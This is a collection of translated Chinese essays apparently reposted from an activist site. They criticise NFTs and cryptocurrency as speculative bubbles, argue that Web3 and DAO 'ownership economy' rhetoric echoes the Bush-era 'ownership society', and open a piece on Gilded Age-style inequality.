想要参与这样的集体妄想足够可以理解。比起意识到自己确实理解了一部电影，但它只是无聊的电影，没有理解一部电影而感到惊奇就要有趣得多了 —— 中文的电影推销热词 “烧脑”，就是在引导你自己进行煤气灯操纵。这个想法也有助于解释投机性泡沫。相信魔法比认识到金融化的资本主义有多少只是骗局和传销更有趣。尽管如此，如果大众媒体上充斥着解释者 “澄清” 一个 “非常复杂” 的投资现象是怎么回事，那就把你的钱包藏起来吧。你正在被骗进一个三张牌的蒙特游戏中。

【注：三张牌蒙特是一种类似于空壳游戏的骗局游戏。它包括一套三张牌，通常是一笔金额相当的赌博。】

如果你把所有带有NFT的牌都翻过来，揭示的只是当前经济时刻如何依靠技术神秘化。隐藏在大量艺术和技术语话（区块链！以太坊！非金融性！）背后的是一个极其简单的日常现象的例子：价值对象的转移。让人所谓难以把握的是，这些对象，与其说是拉伸的画布或大块的大理石，不如说是看似只有几行代码（或者更准确地说，是一堆电）。当我们为一个 “订阅” 或 “会员” 付费时，我们一般不难理解它是合法的；它就像你用手机存工资和信用卡付款一样，直观地 “真实”。也就是说，你马上就能领悟到，价值的转移并不依赖于实物，而是依赖于一个由一系列社会约定俗成的关系和表象所维系的会计系统（尽管我们偶尔会反思这如何剥夺了我们的权力，并愤怒、哭泣和抗争）。

但有了NFT，我们突然应该完全被同样的想法所迷惑。既然你不能把它拿在手里，也不能把它藏在自由贸易区，那么购买一件数字艺术品除了所有权的感觉之外，并不能给你任何其他的东西，对吗？NFT 是离散的、可拥有的商品—— 数字对象通常是通过计算能力搅动数百万个无意义的方程，直到找到 “正确” 的方程，在区块链上生成一个代币，可以链接到运行计算机的人选择的任何图像或数据字符串。(看到我说这些的时候你的眼睛是如何发亮的吗? 那是因为它是无聊的废话）。然后，这些对象可以在市场上出售，无论是由佳士得拍卖行还是直接从艺术家的社交媒体页面、网站或品牌空间。NFT的推动者至少在这一点上是对的。一旦你能为它们创造市场，伦勃朗的作品和格莱姆斯推文的NFT几乎没有区别。

因为这类物品的所有权更容易转移和追踪，甚至有一种伪民粹主义的呼声，认为NFT可以砍掉一系列的中介机构—— 批评家、经销商、画廊主、艺术处理者、策展人、教师等等 —— 让艺术家可以直接传播他们的作品，而不用再受 “艺术世界” 的器具和荒诞的影响。但是，围绕这一去中介化过程的炒作，应该从硅谷几十年的 “破坏” 中听起来很熟悉，其后果很可能是一样的：**NFT**并没有瓦解 “艺术世界” 及其出于审美诉求而生产货币价值的制度化过程，它们只是让其部分劳动力失业了，用更多的电力来取代他们。

用居伊·德博的话来说，艺术一直是金钱的尖端。在资本主义下，艺术的核心功能之一就是创新生产和再生产价值的新方式。非利士人经常抱怨艺术 “没用”—— 艺术学位一文不值，“我的孩子也能做出来” 等等 —— 但这只是印证了一种普遍的认识，即 审美经验是真实的、稀缺的、容易被误解的。在资本的顶层世界里，艺术的深刻特质恰恰使它成为一种特别庸俗而明显的商品。从这个角度看，艺术并不特别，因为它与它的商品地位有某种所谓的纠结关系；相反，它作为商品的价值恰恰在于它与传统的使用观念的疏离。这使得它特别容易通过审美化的社会因素，如品位、批评、典藏等来控制它的波动。

这并不是说审美经验的升华不能用于其他目的。艺术家，工人，反叛者和革命者利用和部署审美经验来改造、攻击和改变现实世界。但这种经验也通过一系列的反转和神秘化，最终艺术这个词被理解，化为资本主义。在过去的50年里，“艺术世界” 发展出了一种令人难以置信的合作和再生能力，这种能力只在过去的50年里增加了，因为资本主义认识到，在各种（反）文化的经验和乐趣中，有一个未被开发的市场，而艺术家们也认识到，将他们作为艺术家的地位商品化，就有大量的钱可以赚。昨天的革命歌曲是今天的精选唱片。

(举例说明。在2011年 “占领华尔街” 期间，一群占领者占领了 “艺术家空间”，一个左翼艺术阁楼和画廊，并占领了一个周末。不知何时，有人在这个画廊挂在浴室里的海报上涂鸦了无政府主义口号。这些真正的斗争对象，在占领运动还没有离开街道时，就被艺术家空间以数万美元的价格拍卖，从而变成了商品）。

艺术品作为一种商品，其存在价值不容置疑，但只能由一群虚无缥缈的专家来计算和实现，它使资本家能够跨国洗钱、投资、增加和周转流动资本，同时也积累了其社会合法性和受人尊敬的程度。同时，这种对待艺术价值的方式也使它进一步脱离了它从更普遍的（和更难预测的）公众舆论中获得的任何残余意义。在这个金融化的时代，专家们的功能是巩固艺术作为投资的角色。当代艺术，以及为其定价的 “艺术世界”，必然被封闭在自己的技术员和专家的范围内，他们为资

产阶级收藏家服务。当艺术界背弃了“自由市场流行文化择优”的可能性，转而拥抱“专业投资行业”的地位时，它获得了更快、更稳定地对资产（艺术家和艺术品）进行估值的能力。但在个体价值上升的同时，市场也开始类似于所有金融化资产的特征：泡沫。

目前，这个泡沫似乎无法被打破。在这个奇怪的经济动画暂停的漫长时刻—— 我们的威利狼经济在2007年跑出了悬崖，但从那时起就一直设法保持在原地运行—— 这条线似乎适用于各种资产，无论是股票、房子、艺术品还是加密货币。别管数以百万计的人面临着朝不保夕和穷困潦倒，也不管全球各地激烈的无产阶级斗争和法西斯主义的反扑。只要音乐响起，似乎每个人都有足够的椅子。

【注：威利狼和哔哔鸟是华纳兄弟喜剧卡通系列《乐一通》里的一对角色搭档，外观造型上是分别将郊狼及走鹃给予拟人化的动物角色。威利狼最经典的动作是它拼命地往悬崖方向跑，跑很远才突然意识到自己已经双脚悬空，于是瞬间开始笔直下坠。】

NFT是艺术界作为金融泡沫的完美体现。和所有的泡沫一样，细节可能会让人摸不着头脑，但基本现象非常简单。越多的人同意某个任意物品是有价值的，它就越有价值。换句话说，像比特币这样的加密货币和NFT这样的相关投资都是由诺兰效应伪装的传销。物品的“无价值”和看似交易它的市场的荒诞性，只有在事后看来才是显而易见的，就像早期资本主义荷兰郁金香热潮以来的情况那样。在那个事件中，郁金香是一种近乎完美的商品，多少是一种随意印钞的方式 —— 直到突然间它不是了。它的任意性、明显的无用性，让它更容易接近货币本身的地位 —— 一种纯粹的交易媒介，其价值似乎只会随着每次交易而增长。然而，就像所有越来越看似是钱但不是钱的商品一样，人们最终会注意到皇帝没穿衣服，试图套现，并导致崩溃。

只有一种机制能够使货币不至于完全崩溃，那就是国家政体，它有各种奇特的暴力手段（以及它偶尔使用的出兵作战和种族重组）。面对泡沫崩溃，国家将从生活、社区、民族和穷人的身体中提取资产中“消失”的价值。任何商品的价值如果没有国家的支持，最终都会崩溃。近几十年来，这种情况在苏联生产的商品上发生得最为显著和明显。然而，每当一种新的商品出现时，无论是郁金香、科技股、房地产，还是艺术品、NFT、加密货币，都会有一定数量的机会主义投资者相互说服，认为终于解开了价值之谜。热气腾腾的空气终于变得扎实了。

这就是自由主义传教士在加密货币中看到的东西：一种脱离了国家政体、脱离了暴力、税收和领土控制的机器的货币。代替暴力的是技术

密码学，复杂的编码和电力。但是，计算机代码并没有什么天生的价值生产，就像郁金香基因中的价值生产那样，**NFT**就像郁金香，它们是一种不稳定的价值存储，受制于投资者的非理性怪念。和加密货币一样，它们也在努力摆脱通常为其价值提供条件的设备（在它们的情况下，是艺术世界）的束缚。将艺术与加密货币挂钩，试图实现双重解放，但它仍然被艺术世界及其发明价值的非金融机制的前提所支撑。资本主义下的艺术价值是通过承认审美经验的历史重要性来证明的，这种审美经验应该是超越社会政治关系的，而加密货币则试图通过代码艺术和电力的力量来生产价值。但这两者都只是价值的实际来源—— 人的劳动能力—— 的不同意识形态差异而已。

像比特币这样的计划，假装切断了物理经济和物质经济的变幻莫测，通过计算机中介直接把电变成价值。因此，加密货币成为科技经济提供的伪自动化和伪破坏的完美表达。通过编码和工程的奇迹 —— 但实际上是通过粗暴的生态破坏、低薪劳动和电力支出 —— 价值从“无” 中产生，创造了一个似乎永远不会破裂的金融资产泡沫。难怪科技布道者们对区块链情有独钟，却几乎想不出与之相关的东西。

加密货币，就像整个科技经济一样，让生产价值的实际工作在哪里以及如何完成变得神秘起来。科技公司使用魔术师的花样，将劳动从生产者/配送者重新分配给工人/客户/消费者。例如，外卖应用让人感觉订餐很“简单”，而事实上，在订餐之前你至少要购买手机、保持充电、支付数据计划、支付订阅费用等等，相当于每一次订餐都要花费更多的时间，换句话说，我们为此使用了更多的劳动时间。在智能手机出现之前，我们可以用座机给餐厅打电话，但也必须要有之前对餐厅的了解，以及可能的菜单，或者至少是电话簿的黄页。这款应用则用相应的电费取代了抽屉里的菜单，我们在购买手机并充电、支付电话费的时候要支付电费，餐厅在保持电脑正常运行的过程中也要支付电费，而这款应用则从电费中抽出一大笔钱来回报风险投资人，并维持服务器运行。

如果只看单笔交易，这款应用程序的效率似乎更高；你只需要按一个按钮，而不是要求餐厅使用打印机和雇佣其他人来向您提供菜单。但如果使用纸质菜单，餐厅只需要做一次，而你每次使用App时都需要调集同样的精力。当你第三次或第四次从某个地方点外卖时，纸质菜单突然看起来像是一种生态奇迹。

并不是说这些应用的便利性和广泛性从字面上看一无是处—— 这种便利性并不是真实的，它并没有在日益繁忙和不稳定的生活中让事情变得更容易。并且这种便利的提供并不能解释这些应用的“价值”。

这款应用实际上是通过利用科技噱头和华而不实的营销来实现一些老式的资本主义竞争，从而产生价值。科技公司进入成熟市场，他们以科技为中介的承包方式暂时降低产品价格，从而压低劳动力价格 ——有时是让工人提供工具（比如Lyft司机的车、Caviar工人的自行车等）；有时只是通过烧钱。硅谷利用规模（在这个例子中，互联网的速度和覆盖面）和投资（损失）的能力来压低价格，直到他们拿下足够的市场份额，挤掉竞争对手。如果这听起来很熟悉，那就对了，因为它真的没有什么新奇的地方。沃尔玛和亚马逊都是这么做的，利用“损失领导物” 来压低价格，直到他们拥有足够的客户群为止；然后，他们可以利用垄断条件把价格拉回来。

【注：损失领导物，是一种刻意将商品的价格订得比成本还低的促销手段。其原理是是透过低价来吸引顾客，再透过顾客购买的其他商品来增加利润。 另一种将商品价格订得比成本还低的手段是掠夺性订价。 】

另一个例子是自动客户服务系统。这种技术可以让公司卸下大量的人力成本，但是，当顾客遇到这种技术时，他们被迫做的工作是浏览迷宫般的菜单系统和管理自己的挫折感，而不是简单地接受服务。这种“自动化” 并没有减少所需的劳动量，只是将其重新分配了。

这种重新分配之所以有效，是因为那些条件会让人觉得 “没有人” 在做这些工作，相反，这些工作是由电脑和电话以处理电的形式完成的。这一点被互联网某些方面提供的真正的奇迹所放大，它能让文化、信息和交流流通的速度和便捷性确实可以让人感到崇高，这也是为什么对于技术大佬们来说，它感觉很像艺术。但硅谷到底提供了什么？它提供了一种技术方式，通过硬件和软件，看似把电变成了价值，而其实它只是用电来重新分配成本，降低社会等级。

对区块链最有效的批评就是它的生态成本。事实是，真的，惨不忍睹。根据一项估计，创建一个基本的NFT所涉及的能量相当于驾驶一辆汽车跑1000公里。从新陈代谢的角度看，这种创造并不容易，也不自由。但为了声援那些批判区块链的人，我提出，“成本” 的框架是错误的，它误解了正在发生的事。区块链对电力的使用并不是偶然的——电力只是让投资者相信它有价值的原因。廉价电力生产中削减的成本反过来填补了风险投资库中的资金，然后首先将其重新投资于应用程序经济。

虽然科技未来主义者喜欢旋转绿色未来的幻想，假装他们在文化上和政治上都与采掘主义资本家不同，但事实上他们是相互依存的。如果没有采掘主义者，硅谷的创新就不可能产生任何利润，这些创新不过

是通过电气化的方式实现私有化。

难怪艺术家们在资本主义技术文化、休养生息和权力的最前沿，为区块链想出了一个诱人的用例。像 Beeple 这样的艺术家们想出了一种方法，将区块链进行美学化和重新包装，通过将区块链与艺术世界合并，将策展人、品鉴师和观光客自动化，取而代之的是生态化的能源支出水平，从而将其转化为价值。的确，还有什么比实现彻底破坏气候更伟大的资本主义艺术作品吗？〇

Money for Nothing

原文

加密货币能解决所有权社会的噩梦吗？- 从金融危机到NFT - iyouport

社会反抗和思考

创造更多的所有者并不意味着集体所有权。

这篇文章的作者 Richard Woodall 是英国谢菲尔德的一名作家和研究员。他的研究领域包括视觉技术的历史和政治，以及对数字资本主义的分析和批判。这篇文章对中国社会也有警示意义。

在2004年6月17日对全国独立企业联合会的讲话中，美国总统乔治·W·布什提出了他第二个任期的经济愿景。“你我都知道，如果你拥有某样东西，你在我们国家的未来中就有重要的利益。美国的所有权越多，美国就越有活力，更多的人对这个国家的未来有重要的利害关系”。

这些话概括了本应定义他的政治遗产的口号：“所有权社会”。通过一系列涉及住房、医疗保健、福利和金融的政策，其目标是增加美国人口中资产持有者的比例，特别强调房屋所有权。正如纳奥米·克莱因在2008年的文章中所指出的，这个计划是直接从保守派的政治经济游戏攻略中出来的。通过鼓励私人资产所有权，布什和他的盟友希望推广一种公民作为自力更生的投机者的模式，通过优化个人资产组合的风险和回报来掌控自己的未来。他们认为，这不仅会使国家变得更小，私营部门更有活力，而且还会造就新一代的共和党选民，就像撒切尔夫人在20世纪80年代通过将英国的大片公共住房私有化来扩大她的选举基础一样。

> 所有权意识形态将公民的权利框定为并非在与国家或社区的关系中实现，而是通过市场来实现。

布什宣称的目标是将美国人的房屋所有权提高到前所未有的高度，包括创造550万新的少数族裔业主。由于他显然不赞成任何形式的国家再分配干预，这一目标只能通过债务来实现。从第一任期的早期开始，布什就敦促建筑商、房地产经纪人和抵押贷款人“拆除障碍，为房屋所有权创造更多机会”。同时，贷款人开始加速向高风险的借款

人提供低利率抵押贷款的做法。这些“次级”抵押贷款被捆绑成复杂的金融工具，成为投资银行高杠杆投机的对象，为2008年的全球金融危机埋下导火索。

- 如果您错过了《大崩溃 —— 从中国的恒大地产开始》

在英美社会，房主长期以来一直被视为理想的资本主义主体，同样是一个尽职的提供者和一个谨慎的投资者。拥有自己的房子被认为意味着“安全、自主和繁荣”；住房市场上的这些品质可以弥补其他地方的不足。代替经济再分配的是，每个有能力承担最初赌注的人都可以尝试通过拥有财产来积累财富；作为真正的“民主政体”的替代，人们可以通过投资决策来表达自己的社会和经济偏好。所有权意识形态构建了一个世界，在这个世界里，公民的权利不是通过与国家或社区的关系来实现，而是通过市场来实现的。

对布什政府来说，这种意识形态不仅是目的本身，而且是激励消费者参与掠夺性金融体系的一种方式，它不仅将可调整利率的抵押贷款作为进入财产阶梯的途径，而且是迅速积累家庭财富的方式。买家被引诱到金融化债务的迷宫中，产生源源不断的垃圾资产，满足华尔街对更多奢侈利润的渴望。对于崩溃后面临止赎权的数百万人来说，业主身份并不意味着稳定和独立，而是，意味着贫穷和被剥夺。

在布什政权结束后的13年里，“所有权社会”比以往任何时候都更像是一个病态的笑话。目前，美国住房存量的很大一部分被机构投资者所拥有，而对于所有种族背景的少数民族和千禧一代来说，拥有住房仍然是一个遥远的梦想。同时，长期住房不平等的影响因大流行病而加剧，导致了新一轮的驱逐潮。美国的资产所有权绝大多数集中在最富有的10%的人手中；在全球范围内，情况甚至更加严峻。所有权社会“利用民众对经济独立的渴望，变成了一个代表金融精英进行的信用骗局”。https://t.me/iyouport/9357

这是理解比特币的出现和扩大的加密货币世界计划的重要背景。正如政治理论家 Stefan Eich 等人所指出的那样，比特币显然是一种崩溃后的现象，它被一种数字货币的幻想所激发，这种数字货币的价值将不受国家和金融机构的影响，这些机构在2008年的危机中出现了灾难性的错误。著名的是，中本聪在比特币区块链上的首篇文章中提到了2009年1月3日泰晤士报的头条新闻，其中宣布英国财政大臣正在考虑对该国陷入困境的银行进行第二次救助。这个加密货币的复活节彩蛋预示着比特币的神秘创始人及其自由派的早期采用者的核心关注点 —— 找到一种保护他们的钱不受政府通货膨胀活动影响的方法，并开发一种存在于权威和信任的机构系统之外的数字产权系统。

最近，这种网络哈耶克式的愿景已被其他区块链未来主义所取代，旨在吸引不那么狂热的支持者。目前，其中最热门的是“Web3”，它承诺用建立在区块链和加密货币基础上的开源应用程序的去中心化网络来取代亚马逊和 Facebook 的食利者垄断。这是一个及时的提议。大流行病的情况只是再次强调了这些巨头公司对我们所有人生活的可怕控制力。对 **Web 2.0** 更平等的替代方案的渴望，与日益突出的平台合作主义、以及更广泛的工作场所民主和工人所有权运动相一致。

就修辞和品牌而言，这种无休止的、以社区为重点的所谓 Web3 话语与支撑最初比特币运动的右翼加速主义没有什么区别。风险投资家 Jesse Walden 和 Li Jin 吹捧“所有权经济”，利用区块链技术的优势 —— 去中心化、可组合性、无许可等等 —— 重组数字经济，使其远离中心化平台，转向由用户、创作者和开发者管理的准合作机构，他们分享决策责任和利润。在这个新世界里，创造者将被授权“拥有生产和分配的手段”，产生一个新的政治经济解决方案，其中资本和劳动是“同一的”。

从“所有权社会”到“所有权经济”。对其倡导者来说，Web3是解决贵族垄断、大规模不稳定和布什时代的整个坏死遗产的办法。然而，这两个愿景的核心是同样的信念，即“民主化”地进入金融化的资产市场将使经济秩序更加公平。这一次，我们真的可以通过自己的方式来实现乌托邦吗？

Web3要求人们接受对所有权如何与数字空间相结合的转变的理解，在哪些类型的数字对象可以拥有、谁可以拥有它们、以及如何组织所有权等层面。围绕 NFT 的讨论主要集中在这三个问题中的第一个上。最大的NFT项目 —— 像“无聊的猿人游艇俱乐部”这样的简介图片集—— 宣称一个本来极易被替代的物体，如一只发呆的猿人的漫画，实际上是一件个人财产，被记录在一个“不可改变的”公共数据库中，并存储在其所有者的数字“钱包”里。以前有一个无差别的内容流，现在有一个可以持有、购买和出售的离散对象的宇宙。

然而，NFT 所阐述的所有权模式是极其简约的。代币本身并不赋予它们所涉及的项目任何法律权利，正如一些仓促的买家所发现的那样，他们付出了代价。在没有补充协议来转让版权或其他特权的情况下，**NFT**所保证的只是在线市场上的交易性。在这个意义上，它们是完全存在于市场上并为之服务的物品，除了经济上的，其他所有的品质都是无效的。

因此，最受欢迎的NFT在视觉上如此平庸并不是巧合。它们的部分目的是指导买家了解原始财产的乐趣，不受使用、美感或任何其他倾向

于附着在实际事物上的混乱的特殊性的约束。有了巴甫洛夫式的经济，所有权的经验被缩减为称一个东西为 “我的” 恋物癖乐趣，以及看着市场对它进行估价和重估的令人胆战心惊的刺激。

因此，加密货币的推动者声称他们已经发明了一种新的财产形式，与传统的资产和证券不同，任何人只要有互联网连接、一个加密货币钱包和少量的启动资金，就可以获得。正如 Ali Breland 在最近为 Mother Jones 撰写的一篇文章中解释的那样，在一个 “我们大多数人都不拥有垃圾” 的世界里，这种可及性是加密货币更广泛吸引力的基础。对于那些已经习惯于被困在工作、租金和债务的恶性循环中的人来说，购买加密货币或交易NFT似乎是一个很好的赌注，提供了一个玩游戏的机会 —— 如果你的智慧是敏锐的，你努力工作 —— 你可能会控制自己的财务命运。这是一种新的所有权意识形态模式，适合我们所处的时代。摒弃了家庭的中介象征意义，它向那些有胆量直接进入市场的人承诺了财富和独立。

在规模上，这种新的金融包容性计划似乎正在重现旧的许多不公平现象。根据2021年《金融时报》的报道，虽然以太坊**NFT**市场上**75%**的交易是**1**万美元以下的小额交易，但整体财富的**80%**被**9%**的钱包所控制。到目前为止，大多数买家的初始投资都下降了，而真正赚钱的是那些 “大鲸”，他们的投资组合在大量的加密货币储备之上包含了多样化的**NFT**，赋予了他们对市场形态的广泛权力，以及从事洗盘交易等欺诈性行为的更大余地。就像**2008**年之前的情况那样，小玩家的赌注是精英卡特尔积累战略的燃料。

这种投机性的混乱系统可能看起来并不是建立一个新的用户拥有的互联网的有希望的基础，但根据其倡导者的说法，Web3目前正在发明 “治疗” 其自身弊病的方法。不管怎么说，这就是理想主义者对 DAO 的理由，DAO 是利用加密技术帮助其成员创建、获取和管理共享数字资产的在线组织。DAO的优点之一是改善市场的结构性不平等，允许小投资者汇集他们的资源，在平等的基础上与大鲸竞争 —— 这一理论最突出的公共测试案例是购买美国宪法早期副本的失败尝试。然而，在更深层次上，DAO应该提供一种新的集体所有制模式，使用户拥有的企业能够以前所未有的规模蓬勃发展。

作为生产性企业的集体所有和治理框架，合作主义在全球有着悠久而杰出的历史。通过坚持一套明确而简单的原则，合作社在私营企业和国家失败的地方提供了公共产品，向边缘化社区提供服务，维护工人的权利，并保护环境。平台合作主义运动试图在数字经济中应用这些方法，这一努力由送货员和出租车司机带头，他们建立了工人拥有的应用程序，与 Uber 或 Deliveroo 等大企业主导的经济相抗衡。倡导

者越来越多地将 Web3 作为合作主义运动的补充，认为前者可以提供一定程度的可扩展性和快速获得资金的途径，而合作社在传统上却难以实现。

也许DAO模式可以为平台合作主义运动提供一些东西，为测试数字空间中动员群体行动的新工具提供一个空间。然而，加密货币和区块链技术也给任何希望构建真正平等主义数字社区的人带来了深刻的风险。这些危险已经融入了支撑 Web3 愿景的组织的意识形态之中。“加密货币经济学” 是一个新兴的跨学科领域，它提出加密货币和区块链技术可以通过经济激励系统协调个人投资者的自利行为。在实践中，这相当于发行 “治理代币”，标志着DAO的成员资格，以及赋予的权利，如进入私人讨论组、投票权和任何收入的份额。在许多情况下，这些代币也可以在公开市场上交易。DAO 的逻辑是，代币的市场价值越大，代币持有者的潜在收益就越大 —— 这是一种 “激励机制”，据说可以鼓励代币持有者致力于其去中心化社区的长期繁荣。

> 在 2008 年之前的十年中，资产所有权的民主化已经被证明是一种骗局，用来引诱人们进入掠夺性债务市场。

但是，资本主义财产主义意识形态的大谎言一直是，有可能使所有权的特权民主化，而不必改变政治经济结构，社会不平等正是通过这些结构再现的。加密货币经济学声称通过提供一套新的工具来协调人们开明的自我利益，使人们能够创造共享财富并提供公共产品，仅仅通过追求私人积累的必要性。然而，它只是通过将所有动机和利益归入一个纯粹的经济计算，并通过将所有权问题与最终决定谁能在资本主义社会中拥有什么的道义、暴力和不平等问题相脱钩，而使其非政治化，才能实现这一奇迹。

在实践中，DAO的建设不可避免地需要平衡加密经济的激励结构和良好的老式集中治理。这既是实际需要（基于市场的共识事实上并不是运行一个创业公司的有效方式），也是理想主义的原因。最终，如果你想让你的DAO服务于非经济目标，如应对气候危机或支持艺术团体的工作，加密货币经济机制就必须（引用理论家 Nathan Schneider 的一篇有影响力的论文）“被包裹在一个政治逻辑中，能够超越经济指标，看到人类的繁荣和共同利益”。这可能意味着建立一个具有否决权的管理委员会，或确保代币完全掌握在受信任的核心人员手中。

在某种程度上，所有的Web3项目都存在于加密货币经济学和更传统的组织形式之间的这个灰色地带。这可能被证明是一个有趣的设计空间，用于设计合作所有权模式，以抵制 Web 2.0 的剥削性等级制度。

Web3 的讨论中充斥着关于协议设计的实验性建议，理论上可以用来自动确保代币在社区内平均分配，或者将透明的治理标准施加给被认可的DAO。然而，虽然这种含糊不清的状态对于雄心勃勃的程序员社区来说可能是富有成效的，但它也是愤世嫉俗者和骗子的肥沃土壤。加密货币经济学的核心是承诺解决两种不同的所有权模式之间的紧张关系 —— 一方面，作为自利的个人的特权，另一方面，作为共享物品的公共治理模式。在实践中，加密货币经济和 “链外” 治理策略的模糊混杂可能导致这两种所有权模式被混为一谈，诞生出承诺创造公共财富的系统，同时提供的却是与你在**Web 2.0**或一般情况下找到的任何东西一样残酷和剥削性的等级制度。

从根本上说，许多NFT项目的轨迹表明，由于提高代币价值的最快速和最简单的方法总是说服新的投资者去购买，加密货币经济学更擅长激励助推主义，而不是建立一个应用程序的长期工作，更不是一个社区。这正是你可以在 SpiceDAO 最近收购 Alejandro Jodorowsky 对其未实现的沙丘电影的处理中看到的情况。这段插曲具有指示意义，不是因为它表明 SpiceDAO “不了解版权”，而是因为它表明，试图购买一套可能真正允许你做一些事情的法律权利，远不如吸引新一波投资者的华丽的宣传噱头有吸引力。

> 布什政权结束十三年后，“所有制社会” 更加让人感觉是一个病态的笑话。

与此形成鲜明对比的是成熟的知识产权持有者的活动，他们正在进入NFT领域，吸引他们的是将旧图像和logo转化为低耗能利润的可能性。这类项目最令人震惊的例子是基于应用程序的市场，流行品牌与初创公司合作销售数字收藏品，如NBA的 Top Shots（销售篮球视频集锦）或 VeVe（漫威、迪斯尼和DC等品牌人物的难以形容的蹩脚数字小雕像）。Top Shots 和 VeVe 都利用NFT文化创造的所有权期望，对其用户施加了极其严格的条款和条件，违反这些条款和条件可能导致他们的许可被撤销而得不到补偿。买家的权利仅限于展示和转售其购买的产品，而平台和知识产权持有人则从每笔交易中抽成。这两款应用程序推出时，用户都没有兑现的能力，从而有效地将他们的钱困在了市场上，而这些应用的功能都是围绕着他们建立起来的。在这里，Web3 的修辞和技术被重新部署，以可以想象的最直白的形式重新规定资本主义财产关系。

在 VeVe 上，有时暴躁的买家群体会被奢侈的承诺所吸引，从新的授权交易到 “VeVeverse” 的创建，通常被设想为《头号玩家》式的元宇宙，里面有你最喜欢的企业知识产权。对于 VeVe 的铁杆们来说，这个承诺的未来不仅仅是他们的资产价值最终会高耸入云；而是他们自

己最终会成为所有者和租借者，向其他人收取查看或借用他们财产的费用。在对这一幻想的绝望依恋的驱使下，这些投资者进行了你在其他**NFT**社区都能看到的所有炒作工作，只不过在这种情况下，他们代表的是企业知识产权垄断者，而不是加密货币创业公司。从本质上讲，VeVe 用户正在向迪士尼付钱以获得成为他们的数字营销快闪族的特权。

在 VeVe 的 Web3 愿景中，我们看到了当加密货币经济意识形态与实际决定谁在我们的文化经济中拥有什么的法律结构相交织时会发生什么。Top Shots 和 VeVe 如此爽快地摒弃了许多加密技术的束缚，这一事实本身就证明了将言论与加密技术的表面基础剥离是多么容易。在数字未来的这个版本中，所有人都在支付租金，以获得进入投机者沙盒的机会，用 “财产” 填满我们的钱包，这些财产没有赋予真正的权利，但对其真正的所有者来说是免费广告空间。我们唯一的权利——购买和销售—— 始终在受到惩罚性条款和条件的监督。初创公司和知识产权持有者坐守这个金字塔的顶端，压榨用户的现金，同时激起他们对下一批准备滚入区块链的僵尸内容的热情。《比特币、货币和脆弱性：纳西姆·尼可拉斯·塔雷伯 **(Nassim Nicholas Taleb)**》

2008年的崩溃是资本主义社会中所有权概念的危机。在之前的十年里，资产所有权的民主化被认为是 “为低收入公民提供安全和独立”，但事实证明这是一个骗局，用来引诱他们进入掠夺性债务市场。正如经济学家 **Adam Tooze** 在一个稍有不同的背景下所指出的那样，加密货币在过去**10**年里蓬勃发展，是新自由主义没有考虑到**2008**灾难的遗留问题的一个 “病态症状”。

很明显，对我们当前危机的部分答案必须是发展集体治理和工人所有权的形式。事实上，平台合作主义的发展传统提供了许多关于如何组织这些结构的例子。Web3 在一定程度上被认为是对这一运动的补充，但无论它包含什么有希望的想法，都是在炒作、投机和欺诈的浪潮中被带向我们的。我们需要概念性的框架来帮助在这个狂热的环境中找到方向；对 Web3 空间中提出和实施的所有权模式采取批评的态度将是一个好的开始。

比特币和其他加密货币远没有 “解决”“所有权社会” 的弊端，而是以强化的形式再现了这些弊端，取消了繁琐的房屋和抵押贷款业务，为人们提供了在金融赌场中自己打滚的机会，而不是让银行家代表我们打滚。Web3 承诺通过使用其工具创造公共形式的数字财产来改善加密货币世界的残酷性，但只要其系统依赖于加密货币的投机架构，它就有可能兜售一种危险的经济幻想，在这种幻想中，所有人都可以成为所有者，但没有人被拥有。我们都知道上一次这么做的结果是什

么。〇

Property Values

原文

动物农场的世界 - iyouport

社会反抗和思考

【2019年5月29日存档】“病态的和贫困的经济基础设施导致了病态和贫困的身体或思想”。为什么不平等和有缺陷的经济体系相互促进？

就像镀金涂层能让那些最无聊的东西闪闪发光一样，今天，薄薄的政治民粹主义镀金层覆盖了一个怪异的不平等的下层，这种不平等一直隐藏在明显的视野中。这种财富和权力日益集中的现象既有牛顿也有达尔文的成分。

就如牛顿的第一运动定律所言：除非受到外力的影响，否则掌权者将继续执政。那些富有的人只有在没有任何东西偏离他们的既有路线的情况下才能获得财富；至于达尔文，在金融发展的世界里，那些拥有财富或权力的人会尽其所能保护自己财富，即使严重损失其他人的利益。

在乔治奥威尔1945年的标志性小说“动物农场”中，在反对人类农民的叛乱中获得控制权的猪最终在一条诫命的基础上对其他动物施加了独裁统治：“所有动物都是平等的，但有些动物比其他动物更平等。” 放在当下的现实中，这句话就是：“所有公民都是平等的，但富人比其他任何人都更平等（并且计划保持这种方式）。

当然，不平等是有权力的人与没有权力的人之间的经济长城。对美国而言就是，三个美国人现在拥有的财富与社会下半部（1.6亿人）一样多，我们生活在一个越来越奥威尔的社会里。

毕竟，马克吐温和查尔斯达德利华纳已经在1873年写了一部经典小说，在他们的时代里创造了一个令人难忘的标签，至今仍令人感触深刻。“镀金时代：今日故事”描绘了内战后这个国家的贪婪和政治腐败。这是一个充斥着强盗贵族和难以理解的富有银行巨头的时期。（听起来有点熟悉吗？）上个世纪的镀金时代和当下时期之间的主要区别在于，当年那些强盗贵族建造了铁路等有形的东西；今天的超级富豪构建了非常无形的东西，如科技和电子平台，而一位叫总统的贪

婪富豪选择了唯一的有形基础设施，那是一面一望无际的大墙。

在马克吐温的时代，美国正在摆脱内战。机会主义者正从国家受到重创的灵魂的灰烬中崛起。土地投机、政府游说和阴暗交易很快融合在一起了，形成了第一阶的不平等社会（至少延续到现在为止）。在他们的小说出版后不久，一系列经济衰退蹂躏了这个国家，随后是由投机者主导的铜市场骗局引发的1907年纽约金融恐慌。

从19世纪90年代后期开始，这个星球上最有影响力的银行家J.P.摩根被多次呼吁在经济边缘拯救一个国家。1907年，美国财政部长乔治·科尔特利（George Cortelyou）应总统西奥多·罗斯福（Theodore Roosevelt）的要求向他提供了2500万美元的救助资金，以稳定华尔街，并平息疯狂的挤兑，当时公民正试图从全国各地的银行取款。摩根做了，他通过帮助他的朋友和他们的公司同时自己捞钱。至于困扰普通百姓的银行，好吧，关门大吉了。

从政府那里获得这笔赏金的主要银行家继续引发了1929年的崩溃。毫不奇怪，之前就已经有很多猜测和欺诈。那些年，小说家F.斯科特菲茨杰拉德在“了不起的盖茨比”中抓住了这个时代最怪诞的不平等精神：“让我告诉你，那些非常富有的人，他们与你和我不同。“当涉及到穷人和有很多人之间的巨大差距时，当然可以说今天也是如此。

为了充分掌握21世纪镀金时代的不平等性，重要的是要了解财富和收入之间的差异以及各种不平等产生的差异。简而言之，收入是指您在有偿工作方面赚取多少钱或任何投资或资产回报（或您拥有的其他有可能改变价值的东西）；财富只是这些资产的总积累以及对它们的任何回报或升值。你拥有的财富越多，年收入就越高。

